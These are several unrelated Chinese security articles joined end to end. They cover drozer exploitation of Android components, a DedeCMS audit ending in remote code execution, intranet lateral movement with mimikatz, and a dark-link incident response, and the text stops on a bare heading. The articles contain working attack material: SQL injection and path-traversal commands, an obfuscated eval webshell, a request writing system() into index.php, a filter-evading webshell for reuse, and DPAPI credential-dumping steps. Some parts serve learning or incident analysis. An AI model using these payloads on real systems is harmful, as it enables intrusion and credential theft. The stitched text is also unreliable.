Android 四大组件Activity、Service、Broadcast Receiver和Content Provider是应用程序的核心组成部分,但如果实现不当,会引入严重的安全漏洞。本文将详细分析各组件常见的安全漏洞,通过漏洞代码逻辑基于 drozer 的利用方式,能够更清楚的了解具体漏洞的原理以及利用方法。 具体droze的下载和安装不详细介绍,可以自行百度,安装完成后先在android端运行drozer agent,点击开启。 在电脑端通过adb实现端口转发,并成功启动drozer adb forward tcp:31415 tcp:31415 drozer console connect 通过app.package.list的filter参数过滤alan关键词的包名称 run app.package.list --filter alan 查询该app的包信息 run app.package.info -a com.asec.alan 利用app.package.attacksurface可以查询该APP的攻击面,即漏洞的点和数量。 run app.package.attacksurface com.asec.alan 完成上述的操作后,即可对相关的漏洞进行检测分析了,接下来针对具体的组件和漏洞进行测试操作。 一、Activity Activity 作为 Android 的界面组件,负责与用户交互,其安全问题直接影响用户数据安全。 1、未授权访问漏洞 需要登录权限的 Activity 未做严格校验,导致恶意应用可直接通过 Intent 启动。 通过以下drozer命令可以查看当前app的所有activity,并确认无权限限制 run app.activity.info -a com.asec.alan 对于这些activity的执行逻辑属于 LoginActivity登录->MainActivity->InfoQueryActivity LoginActivity登录->MainActivity->FileQueryActivity 1)漏洞代码 以下为具体的代码,以LoginActivity登录->MainActivity->InfoQueryActivity场景为例,可以看到首先LoginActivity以硬编码的形式进行用户密码的判断,并使用SharePreference进行了登录态的存储 当用户密码登录成功后即可跳转MainActivity,MainActivity对登录态简单做了校验,确认其中的is_logged_in的值存在即可加载。 通过MainActivity跳转到InfoQueryActivity直接进行点击事件的监听跳转 该acitivity直接加载,未进行登录态的校验 通过上述APP代码的分析,可以判断出MainActivity的加载做了简单的登录态校验,但是如果已经登录过,且登录态写入到user_prefs.xml中后,只要不进行删除即可直接通过命令加载成功实现绕过;InfoQueryActivity的加载并未做任何校验,可以尝试直接进行加载。 2)漏洞利用 MainActivity加载: 基于上述代码逻辑的分析,接下来通过drozer命令进行利用测试,如果已经登录过APP,则在该程序目录会生成user_prefs.xml文件,里面会写入"is_logged_in"的值为true MainActivity的加载可直接通过drozer命令加载 run app.activity.start --component com.asec.alan com.asec.alan.MainActivity 执行后成功记载MainActivity 删除user_prefs.xml文件,再利用drozer命令尝试加载MainActivity则失败 InfoQueryActivity加载: InfoQueryActivity则通过app.activity.start命令直接加载即可。 run app.activity.start --component com.asec.alan com.asec.alan.InfoQueryActivity 3)修复建议 二、Service Service 用于后台处理任务,若存在漏洞可能导致敏感操作被恶意调用。 新建一个用于漏洞测试的service,并写入一些漏洞的逻辑 service组件运行导出 通过drozer命令可以查询支持导出的service组件信息,支持导出则可能存在对应的漏洞。 run app.service.info -a com.asec.alan 1、任意文件写入漏洞 在 Android Service 场景中,当服务接收外部传入的文件路径参数并直接用于文件写入操作时,覆盖应用自身关键文件(配置文件、数据库等),导致应用的使用或者安全风险问题。 1)漏洞代码 当 Service 处理"com.asec.alan.ACTION_WRITE_FILE"动作时,会从 Intent 中直接读取filePath参数及需要写入的内容,并通过writeToFile()方法写入内容。但是writeToFile()直接使用传入的filePath创建File对象,未检查路径是否限制在应用私有目录 2)漏洞利用 通过drozer命令向/data/data/com.asec.alan/写入drozer_test.txt文件,文件内容为Test from drozer run app.service.start --action com.asec.alan.ACTION_WRITE_FILE --component com.asec.alan com.asec.alan.VulnerableService --extra string file_path "/data/data/com.asec.alan/drozer_test.txt" --extra string content "Test from drozer" 利用adb shell连接android系统,切换为root权限后查看drozer_test.txt的存在和内容 adb shell su ls /data/data/com.asec.alan/drozer_test.txt cat /data/data/com.asec.alan/drozer_test.txt 2、敏感信息泄露漏洞 敏感信息泄露指应用在运行过程中,将不应公开的敏感数据(如密码、密钥、令牌等)以明文形式存储、传输或输出,导致未授权主体可获取这些信息。 1)漏洞代码 当 Service 处理"com.asec.alan.ACTION_GET_SECRET"动作时,getSensitiveInformation()方法会返回包含数据库密码、API 密钥等核心敏感数据,并通过Log.d()输出到系统日志 2)漏洞利用 利用drozer命令启动com.asec.alan com.asec.alan.VulnerableService服务 run app.service.start --action com.asec.alan.ACTION_GET_SECRET --component com.asec.alan com.asec.alan.VulnerableService 通过adb的logcat查看对应的日志,成功打印出对饮的敏感数据。 adb logcat VulnerableService:D *:S 三、Broadcast Receiver Broadcast Receiver 用于接收系统或应用间的广播,若实现不当会导致信息泄露或恶意调用。 1、伪造恶意广播漏洞 Receiver 未验证广播发送者身份,恶意应用可伪造广播触发敏感操作。 1)漏洞代码 该接收器未对广播发送者的身份进行任何验证,任何应用都可以发送com.asec.alan.ACTION_SENSITIVE_OPERATION动作的广播来触发其逻辑。并通过performSensitiveOperation方法执行敏感操作,测试使用Toast在界面弹窗展示,但整个调用链都没有权限检查机制。 2)漏洞利用 利用drozer伪造恶意广播并触发该接收器 run app.broadcast.send --action com.asec.alan.ACTION_SENSITIVE_OPERATION --component com.asec.alan com.asec.alan.VulnerableReceiver --extra string operation "test" --extra string data "test" 通过界面可以查看到对应的广播信息 四、Content Provider Content Provider 用于数据共享,是最容易出现安全问题的组件,常见漏洞包括信息泄露、SQL 注入和目录遍历。 1、信息泄露漏洞 Content Provider 未限制访问权限,导致应用内敏感数据(如用户信息、数据库)可被任意读取。 1)漏洞代码: 通过该代码可以发现,未检查调用者是否有读取权限,可以直接调用sql进行数据的查询。 2)漏洞利用 利用drozer命令可以查看该APP的provider的信息 run app.provider.info -a com.asec.alan 利用app.provider.finduri可以查看所有的uri run app.provider.finduri com.asec.alan 通过drozer查询content://com.asec.alan.provider/该uri的数据 run app.provider.query content://com.asec.alan.provider/ 2、SQL 注入漏洞 Content Provider 在处理查询时直接拼接 SQL 语句,未使用参数化查询,导致 SQL 注入。 1)漏洞代码 通过代码发现将selection参数直接拼接进 SQL 查询字符串,未使⽤参数化查询或输⼊净化,完全信任外部输⼊。并且忽略了selectionArgs参数,该参数本应⽤于安全传递查询参数,调⽤rawQuery时未使⽤参数绑定功能,⽽是传递null。 2)漏洞利用 利用drozer的scanner.provider.injection可以查询该APP的Content Provider存在的SQL注入 run scanner.provider.injection -a com.asec.alan 基于sql注入漏洞的测试和利用,通过order by进行显示位的判断 run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 2" run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 3" run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 4" 并进行username和password数据的查询。 run app.provider.query content://com.asec.alan.provider/ --selection "1=1 UNION SELECT 1,username,password FROM users--" 3、目录遍历漏洞 Content Provider 的openFile()方法未验证文件路径,导致攻击者可访问应用沙盒外的任意文件。 1)漏洞代码 代码中使用uri.getEncodedPath()获取路径,未处理../或..\等路径跳转符,用户可控的uriPath直接与基础目录baseDir拼接,并没有对访问的文件类型、路径范围进行权限校验。 2)漏洞利用 利用drozer的scanner.provider.traversal对目录遍历漏洞进行检测,发现对应的uri run scanner.provider.traversal -a com.asec.alan 并成功查询/system/etc/hosts文件内容 run app.provider.read content://com.asec.alan.provider/../../../../system/etc/hosts 本文利用drozer工具基于该APP的测试和操作,其实对于android app的组件漏洞的测试还有很多方法,通过其对四大组件的系统性检测,可有效发现权限控制缺失、输入验证不足等高危漏洞。在实际测试中,需结合静态代码分析(如查看 AndroidManifest.xml 的组件配置)与 Drozer 的动态交互测试,形成 "静态枚举 + 动态验证" 的闭环,才能全面评估组件的安全状态,为漏洞修复提供精准依据。 APP地址: https://pan.baidu.com/s/1l1thGur7wmMBXLWivqW6cg?pwd=4ggk 提取码: 4ggk
意外搞出的免杀 Webshell 实战之织梦 CMS 到 RCE
前言 书接上文,在上次意外搞出的免杀 webshell 条件下,最近又去审计了一个织梦 CMS 官方网站 https://www.dedecms.com/ 最后成功利用免杀 webshell 实现了 RCE,下面是审计过程和审计思路 环境搭建 去官网下载源码,然后配合 phpstudy 搭建就 ok 了 这个比较简单,注意根目录需要放 upload 目录 注意默认的管理员目录是 dede,访问/dede/login.php 默认账户密码adminadmin 代码审计 这里我只找 RCE 漏洞 首先对于 php 的话,就是找 sink 点,或者在后台功能点去看,一般审计多了,看到功能点就大概能猜出有哪些漏洞 sink 点的话可以使用一个工具 Seay 源代码审计系统 https://github.com/f1tz/cnseay虽然比较粗糙,误报很多,不过相比于语义分析的工具更能提升代码审计的技术 我们直接把源码丢进去就可以了 可以看到这个工具确实不太准确,因为 sink 点实在太多,不过熟练后,一眼就知道哪些不需要去管的 然后这里我只关注能够 RCE 的漏洞 找到之后没有什么技巧,就是回头看参数是否可以控制 下面举个例子 案例 1 比如这句话,一眼就感觉有漏洞,我们就需要去详细查看一下 <?php /*<meta name="9Rrdzo" content="a">*/ $password='UaUahObGMzTnBiMjVmYzNSaGNuUW9LVHNLUUhObGRGOTBhVzFsWDJ4cGJXbDBLREFwT3dwQVpYSnliM0pmY21Wd2aIzSjBhVzVuS0RBcE93cG1kVzVqZEdsdmJpQmxibU52WkdVb0pFUXNKRXNwZXdvZ0lDQWdabTl5S0NScFBUQTdKR2s4YzNSeWJHVnVLQ1JFS1Rza2FTc3JLU0I3Q2lBZ0lDQWdJQ0FnSkdNZ1BTQWtTMXNrYVNzeEpqRTFYVHNLSUNBZ0lDQWdJQ0FrUkZza2FWMGdQU0 $username = get_meta_tags(__FILE__)[$_GET['token']]; header("ddddddd:".$username); $arr = apache_response_headers(); $template_source=''; foreach ($arr as $k => $v) {    if ($k[0] == 'd' && $k[5] == 'd') {        $template_source = str_replace($v,'',$password);   }} $template_source = base64_decode($template_source); $template_source = base64_decode($template_source); $key = 'template_source'; $aes_decode[1]=$key; @eval($aes_decode[1]); $NkM1M7 = ".............."; if( count($_REQUEST) || file_get_contents("php://input") ){ }else{    header('Content-Type:text/html;charset=utf-8');    http_response_code(405);    echo base64_decode/**/($NkM1M7); } 我们可以看到这个参数其实是不能控制的 `aes_decode[1]就是 $key,等价于$template_source $template_source = str_replace($v, '', $password); 来源于$password 而其中 password 是固定的,所以不可以控制 案例 2 function DeleteFile($filename)   {        $filename = $this->baseDir.$this->activeDir."/$filename";        if(is_file($filename))       {            @unlink($filename); $t="文件";       }        else       {            $t = "目录";            if($this->allowDeleteDir==1)           {                $this->RmDirFiles($filename);           } else           {                // 完善用户体验,by:sumic                ShowMsg("系统禁止删除".$t."!","file_manage_main.php?activepath=".$this->activeDir);                exit;           }                   }        ShowMsg("成功删除一个".$t."!","file_manage_main.php?activepath=".$this->activeDir);        return 0;   } } 是一个方法,这种需要寻找调用这个方法的地方 else if($fmdo=="del") {    $fmm->DeleteFile($filename); } 这种是一个典型的控制器,根据 fmdo 来选择对应的操作 不过根据所在的文件的注释 /** * 文件管理控制 * * @version       $Id: file_manage_control.php 1 8:48 2010年7月13日 $ * @package       DedeCMS.Administrator * @founder       IT柏拉图, https://weibo.com/itprato * @author         DedeCMS团队 * @copyright     Copyright (c) 2004 - 2024, 上海卓卓网络科技有限公司 (DesDev, Inc.) * @license       http://help.dedecms.com/usersguide/license.html * @link           http://www.dedecms.com */ 这里就能大概猜到了 是一个文件管理器,可能对应着删除按钮,我们尝试能不能目录穿越 不过这里是做了限制的 $filename = preg_replace("#([.]+[/]+)*#", "", $filename); 移除 ../ 形式的路径穿越字符 而且下面还会直接移除.. 所以考虑放弃 案例 3 定位到 sys_sql_query.php 文件了 发现可以执行 sql if(preg_match("#^select #i", $sqlquery))   {        $dsql->SetQuery($sqlquery);        $dsql->Execute();        if($dsql->GetTotalRow()<=0)       {            echo "运行SQL:{$sqlquery},无返回记录!";       }        else       {            echo "运行SQL:{$sqlquery},共有".$dsql->GetTotalRow()."条记录,最大返回100条!";       }        $j = 0;        while($row = $dsql->GetArray())       {            $j++;            if($j > 100)           {                break;           }            echo "<hr size=1 width='100%'/>";            echo "记录:$j";            echo "<hr size=1 width='100%'/>";            foreach($row as $k=>$v)           {                echo "<font color='red'>{$k}:</font>{$v}<br/>\r\n";           }       }        exit();   }    if($querytype==2)   {        //普通的SQL语句        $sqlquery = str_replace("\r","",$sqlquery);        $sqls = preg_split("#;[ \t]{0,}\n#",$sqlquery);        $nerrCode = ""; $i=0;        foreach($sqls as $q)       {            $q = trim($q);            if($q=="")           {                continue;           }            $dsql->ExecuteNoneQuery($q);            $errCode = trim($dsql->GetError());            if($errCode=="")           {                $i++;           }            else           {                $nerrCode .= "执行: <font color='blue'>$q</font> 出错,错误提示:<font color='red'>".$errCode."</font><br>";           }       }        echo "成功执行{$i}个SQL语句!<br><br>";        echo $nerrCode;   }    else   {        $dsql->ExecuteNoneQuery($sqlquery);        $nerrCode = trim($dsql->GetError());        echo "成功执行1个SQL语句!<br><br>";        echo $nerrCode;   }    exit(); } 而且 sql 语句是可以控制的 跟进执行的地方发现 function Execute($id="me", $sql='') {      global $dsqli; if(!$dsqli->isInit) { $this->Init($this->pconnect); }      if($dsqli->isClose)     {          $this->Open(FALSE);          $dsqli->isClose = FALSE;     }      if(!empty($sql))     {          $this->SetQuery($sql);     }      //SQL语句安全检查      if($this->safeCheck)     {          CheckSql($this->queryString);     }      $t1 = ExecTime();      //var_dump($this->queryString);      $this->result[$id] = mysqli_query($this->linkID, $this->queryString); //var_dump(mysql_error());      //查询性能测试      if($this->recordLog) { $queryTime = ExecTime() - $t1;          $this->RecordLog($queryTime);          //echo $this->queryString."--{$queryTime}<hr />\r\n";     }      if($this->result[$id]===FALSE)     {          $this->DisplayError(mysqli_error($this->linkID)." <br />Error sql: <font color='red'>".$this->queryString."</font>");     } } 是有一个 checksql 的检查的 //SQL语句过滤程序,由80sec提供,这里作了适当的修改 if (!function_exists('CheckSql')) {    function CheckSql($db_string,$querytype='select')   {        global $cfg_cookie_encode;        $clean = '';        $error='';        $old_pos = 0;        $pos = -1;        $log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';        $userIP = GetIP();        $getUrl = GetCurUrl();        //如果是普通查询语句,直接过滤一些特殊语法        if($querytype=='select')       {            $notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";            //$notallow2 = "--|/\*";            if(preg_match("/".$notallow1."/i", $db_string))           {                fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");                exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");           }       }        //完整的SQL检查        while (TRUE)       {            $pos = strpos($db_string, '\'', $pos + 1);            if ($pos === FALSE)           {                break;           }            $clean .= substr($db_string, $old_pos, $pos - $old_pos);            while (TRUE)           {                $pos1 = strpos($db_string, '\'', $pos + 1);                $pos2 = strpos($db_string, '\\', $pos + 1);                if ($pos1 === FALSE)               {                    break;               }                elseif ($pos2 == FALSE || $pos2 > $pos1)               {                    $pos = $pos1;                    break;               }                $pos = $pos2 + 1;           }            $clean .= '$s#39;;            $old_pos = $pos + 1;       }        $clean .= substr($db_string, $old_pos);        $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));        if (strpos($clean, '@') !== FALSE  OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE        OR strpos($clean,'$s$s#39;)!== FALSE)       {            $fail = TRUE;            if(preg_match("#^create table#i",$clean)) $fail = FALSE;            $error="unusual character";       }        //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它        if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)       {            $fail = TRUE;            $error="union detect";       }        //发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们        elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)       {            $fail = TRUE;            $error="comment detect";       }        //这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库        elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)       {            $fail = TRUE;            $error="slown down detect";       }        elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)       {            $fail = TRUE;            $error="slown down detect";       }        elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)       {            $fail = TRUE;            $error="file fun detect";       }        elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)       {            $fail = TRUE;            $error="file fun detect";       }        //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息        elseif (preg_match('~\([^)]*?select~s', $clean) != 0)       {            $fail = TRUE;            $error="sub select detect";       }        if (!empty($fail))       {            fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");            exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");       }        else       {            return $db_string;       }   } } 案例 4 基于这个文件管理,我们还是在这个类,肯定还有编辑文件的说法 我们来到对应的路由去查看 果然找到了 //文件编辑 /*--------------- function __saveEdit(); ----------------*/ else if($fmdo=="edit") {    csrf_check();    $filename = str_replace("..", "", $filename);    $file = "$cfg_basedir$activepath/$filename";    $str = stripslashes($str);    $fp = fopen($file, "w");    fputs($fp, $str);    fclose($fp);    if ($fp === false) {        ShowMsg("保存失败!请检查文件是否可写", -1);        exit();   }    if(empty($backurl))   {        ShowMsg("成功保存一个文件!","file_manage_main.php?activepath=$activepath");   }    else   {        ShowMsg("成功保存文件!",$backurl);   }    exit(); } 一样的方法 文件名是 filename,内容是 str 我们访问对应的路由 发现是一个文件管理器,而且可以编辑文件,那不是随便 getshell 了吗 POST /dede/file_manage_control.php HTTP/1.1 Host: dedecms:5135 Content-Length: 130 Cache-Control: max-age=0 Origin: http://dedecms:5135 Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://dedecms:5135/dede/file_manage_view.php?fmdo=edit&filename=index.php&activepath= Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: menuitems=1_1%2C2_1%2C3_1; XDEBUG_SESSION=PHPSTORM; isg=BC0t-H7JNkY1K9KqstDirHGTPMmnimFclPBmVm8zhEQz5k2YN9gMLle10DoA_XkU; tfstk=gsmxOxa7tQAceJrHmnTljVp-sV9kxcH2mjkCj5b_cbettXgmmxVDPgwgQZNblAM1BArb7qVgi5EtQXpktHxn3xra5BAHx21QgMEa1hq6ruMWmMYktHxnhxrafBAnm2uO4We_ftsb5LE7K7wfcfNbP_wLLlNs1fZ7FRwa Connection: keep-alive fmdo=edit&backurl=&token=&activepath=&filename=index.php&str=%3C%3Fphp%0D%0Asystem%28%27whoami%27%29%3B&B1=++%E4%BF%9D+%E5%AD%98++ 但是发现 所以准备调试分析一手 $str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str); global $cfg_disable_funs; $cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace'; $cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders'; foreach (explode(",", $cfg_disable_funs) as $value) {    $value = str_replace(" ", "", $value);    if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", " {$str}") == TRUE) {        $str = dede_htmlspecialchars($str);        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");   } } if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$str}") == TRUE) {    if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$str}") == TRUE) {        $str = dede_htmlspecialchars($str);        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");   }    if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$str}") == TRUE) {        $str = dede_htmlspecialchars($str);        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");   }    if(preg_match("#[`][\s\S]*[`]#i", " {$str}") == TRUE) {        $str = dede_htmlspecialchars($str);        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");   } } 发现原因是因为有 waf 直接交给一个聪明朋友 移除多行注释 $str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str); 防止攻击者把危险代码写在注释中来绕过检测。 危险函数与变量过滤 $cfg_disable_funs = 'eval,assert,exec,...,$_GET,$_POST,...'; 匹配并拦截使用了以下内容的代码: 系统函数:eval, exec, system, passthru, popen, assert, shell_exec 等 全局变量:`$GET, $POST, $REQUEST, $COOKIE, $_FILES, GLOBALS 动态函数调用:call_user_func, create_function, 等 一旦匹配:直接终止执行并提示危险代码。 PHP 标签与代码执行行为检测 感觉过滤还是挺严格的 绕过 waf 到 RCE 直接掏出上次的 webshell,稍微修改一下就 ok 了 <?php class User {    private $username;    private $password;    public function __construct($username, $password) {        $this->username = $username;        $this->password = $password;   }    public function __debugInfo() {        $xmlData = base64_decode("PGJvb2tzPgogICAgPHN5c3RlbT5jYWxjPC9zeXN0ZW0+CjwvYm9va3M+");        $xmlElement = new SimpleXMLElement($xmlData);        $namespaces = $xmlElement->getNamespaces(TRUE);        $xmlElement->rewind();        var_dump($xmlElement->key());        $result = $xmlElement->xpath('/books/system');        var_dump (($result[0]->__toString()));       ($xmlElement->key())($result[0]->__toString());        return [            'username' => $this->username,            'info' => '这是调试时返回的信息',            'timestamp' => time()       ];   } } $user = new User('alice', 'secret123'); var_dump($user); 原理上次大概讲过了,就是自动触发 详情可以看到蚁景网络安全这个公众号 https://mp.weixin.qq.com/s/WDWBwPQuXroBRpBPxkHOcg感谢给的平台 然后我们访问首页 成功弹出计算器
记一次内网横向破解管理员密码
前言 本文章所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。 外网打点 首先一波信息收集过后,把最后收集的到的 url 拿到 httpx 去做一下存活检测 httpx 测活一下 测完活之后,搞波指纹 指纹到手,这边一般我都是拿高危指纹去漏扫一下 然后找到了一个站点 GETshell 之后找到了一个站点 直接访问如下,相信这种情况很常见,别急,其实还有利用空间,然后我对它目录扫描了一波 发现竟然有 /api/actuator 泄露,这个利用的手法很多 先遍历访问一下常见的接口 但是这个点接口权限不够,比如常见的 env 和 heapdump 访问不到 决定溜了的时候发现 bp 我的 dns 平台传来了动静 竟然有 log4j 呜呜呜,网上一堆工具,打 log4j 都到完全自动化的地步了 CS 生成一个命令,上线到 cs 上,因为不好传文件,就执行命令 07/23 15:13:23 beacon> shell whoami 07/23 15:13:23 [*] Tasked beacon to run: whoami 07/23 15:13:23 [+] host called home, sent: 37 bytes 07/23 15:13:23 [+] received output: xxxxxx\administrator 内网启动 内网信息收集 首先简单看下内网的网段 找到了内网之后我们就需要查看存活情况了,我的 fscan 没有免杀,这里只能随便看看了 随便 arp-a 看了一下 发现 c 段的主机还是很多的 systeminfo win2012 的用户,不过已经是高权限了,也没有必要提权了 然后我发现在域的时候我就先不管了,先找找凭据 凭据收集 这里没有抓取到密码 然后自己尝试了半天,大师傅提示了一些东西,我觉得这个思路也不错,下面讲讲是如何突破的 突破 当时因为还拿下了一台主机,而且是同一个内网的 查询连接信息的时候查到了之前的那个内网,我就想着可以尝试使用 DPAPI DPAPI 是 Windows 系统用来加密敏感数据(比如用户保存的密码、浏览器凭据、无线密码等)的一个加密机制 MasterKey 就是一串“主密钥”,是每个用户登录 Windows 后系统自动为其生成的,用来加密和解密数据的“钥匙” 流程 [ 用户口令 → 派生 Key1 ]       ← 用来加密 MasterKey       ↓ [ MasterKey ]               ← 用来加密 DPAPI 中的密码等敏感数据       ↓ [ 某个应用的数据(如 WiFi 密码) ]GUID     : {3cef9fc0-4319-42da-80ff-9e74470a9f7c} Time     : 2025/2/4 0:23:08 MasterKey : aed5fc1156359826c231e1079996c769cf1ee... sha1(key) : deb68bc117a3323d424a7d21a86173438e2419f7 Master Key Files 存放密钥的文件则被称之为 MasterKeyFiles,其路径一般为 %APPDATA%/Microsoft/Protect/%SID%。而这个文件中的密钥实际上是随机 64 位字节码经过用户密码等信息的加密后的密文,所以只需要有用户的明文密码/Ntlm/Sha1 就可以还原了。 当然除了 GUID 命名的文件之外,还有 Preferred,显示当前系统正在使用的 MasterKey file 及其过期时间 我这里去寻找一下 amdin 的凭证 直接拿最新的那个 然后去获取 guid 之后通过这个 guid,我们去寻找 masterkey 首先需要把全部的 masterkey 找出来 mimikatz sekurlsa::dpapi sekurlsa::dpapi 会从 lsass 中提取当前用户登录会话的 DPAPI MasterKey 解密材料(如密码、hash、SID 等),用于离线解密各种 DPAPI 加密的凭据文件 因为内容很多,直接把结果复制到记事本 然后搜索一下 太好了,找到了,然后我们直接去破解 mimikatz dpapi::cred /in:C:\Users\Administrator\appdata\local\microsoft\credentials\xxxxx /masterkey:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 直接获取到了管理员的密码 而且这个密码应该是集团的通用密码,后续发现这个这个内网网段的管理员都是这个密码 远程其他网段的桌面 利用这个密码,横向了大概有 9 台主机
一次暗链应急响应
0x01前言 一个从20几℃的大热天冬天天气变成寒冷潮湿阴天的天气,正躲在公司瑟瑟发抖的我,突然被拉进了一个应急群。某客户那边的站点,在打开某些特定页面的时候,会出现买虚拟货币的宣传视频,很明显又是黑灰产搞的鬼。目前已前场采集过来的信息如下: 在打开特定页面才会触发; 在特定页面也无法准确复现,尝试好一会才能复现两次; 前场同事使用的是iOS,然后其他人使用Android也可以复现; 我使用浏览器和微信浏览器打开,难以复现; 在对应服务器上未找到其音频文件; 目前使用特定运营商网络可以复现; 0x02分析 在获取目前这些信息后,有几个猜想思路: 在对应服务器没找到音频文件,这个其实我是可以猜到的,一般来说,比较可能的原因是站点源码被更改了,去请求外链在客户浏览器/移动端进行播放; 接下来是分析恶意代码存在哪里。从目前浏览器无法复现来看,猜测可能代码存在客户端上,或者本身音频文件就在客户端资源包里面。如果真是这样,那就得逆向分析APP,这就比较麻烦了。 但是其实第二条的实现是比较难的。想达到篡改APP的情况,还是官网下载的APP,难度太大了。哪怕APP没有做签名防篡改,想直接把官网的APP下载链接篡改,这个难度是最大的。没事,实践出真知!使用burp进行抓包,使用浏览器打开问题链接: 突然出现的提示,让我突然虎躯一震。有没有一种可能?浏览器打开之所以无法触发,是因为仅在移动端上才能生效。通过F12的功能,可以设置UA头为移动端,可以模拟手机发送请求: 果然。在burp里面发现了奇怪的mp4文件链接。 可以看到,被腾讯云拦截了。这可能也是复现为什么不好复现的原因。而在特定网络下,可以访问到这个,可能就是因为某些运营商可能没有做拦截。为了和前场同事确认是否为该文件,我使用了点技术手段,获取到此视频文件,发送给他。经确认,可以判断,即为该文件导致的。 那么接下来就是分析js的调用关系,查看怎么通过客户站点到该站点的。 0x03溯源 由于该请求的referer头是本身,那我们难以找到是哪个页面请求的。只能通过搜索查看: 成功在www.unionxxxx.com里面发现了该链接请求,且里面包含很多huobi的黑产链接。进一步分析链接是怎么请求来。后续在www.unionxxxx.com/ddd.html里面找到恶意链接。 那现在最后的问题就是找到www.unionxxxx.com/ddd.html与客户站点的调用关系。这也是最难的一步。为什么呢?因为不管是通过referer自动还是全局搜,都找不到www.unionxxxx.com/ddd.html链接。搜索unionxxxx字段,也没有找到其他链接。 最后实在没办法了,只能通过抓包,一步一步查看请求顺序。最后终于发现疑似链接:https://cdn.xxxxcdn.net/ajax/libs/jquery/3.6.0/jquery.js。分析该jquery文件,并未发现存在问题的代码,但是当我翻到最后面时,发现了问题: 图片红框部分,明显与众不同。事出反常必有妖!混淆加密的太离谱了,可读性实在是太差了。但是看着看着,好像发现了熟悉的东西。 这不就是那个恶意链接吗?当然这只是猜想,最后看下能不能得解开这些加密。试了网上的好多个js解密,没一个能用的。但是又在js里面看到了一个链接: 访问jsjiami.com,尝试解密: 结果不可逆!!! 后续没办法了,只能找new bing大哥帮我看看。结果,柳暗花明又一村啊! 虽然只有部分,但是够了。这样就能把所有调用关系联系起来了。 0x04结尾 该恶意链接可能是cdn站点被劫持了导致的。而这cdn链接,很多公司,乃至很多开发框架,都是使用的该链接,影响范围之大,难以想象。本来想把这个情报反馈给当地网安处理,但是在此文章写完之时,才发现,该链接已经恢复正常了,后面的加密js代码已被剔除。
wiz2025 挑战赛从 SpringActuator 泄露到 s3 敏感文件获取全解析
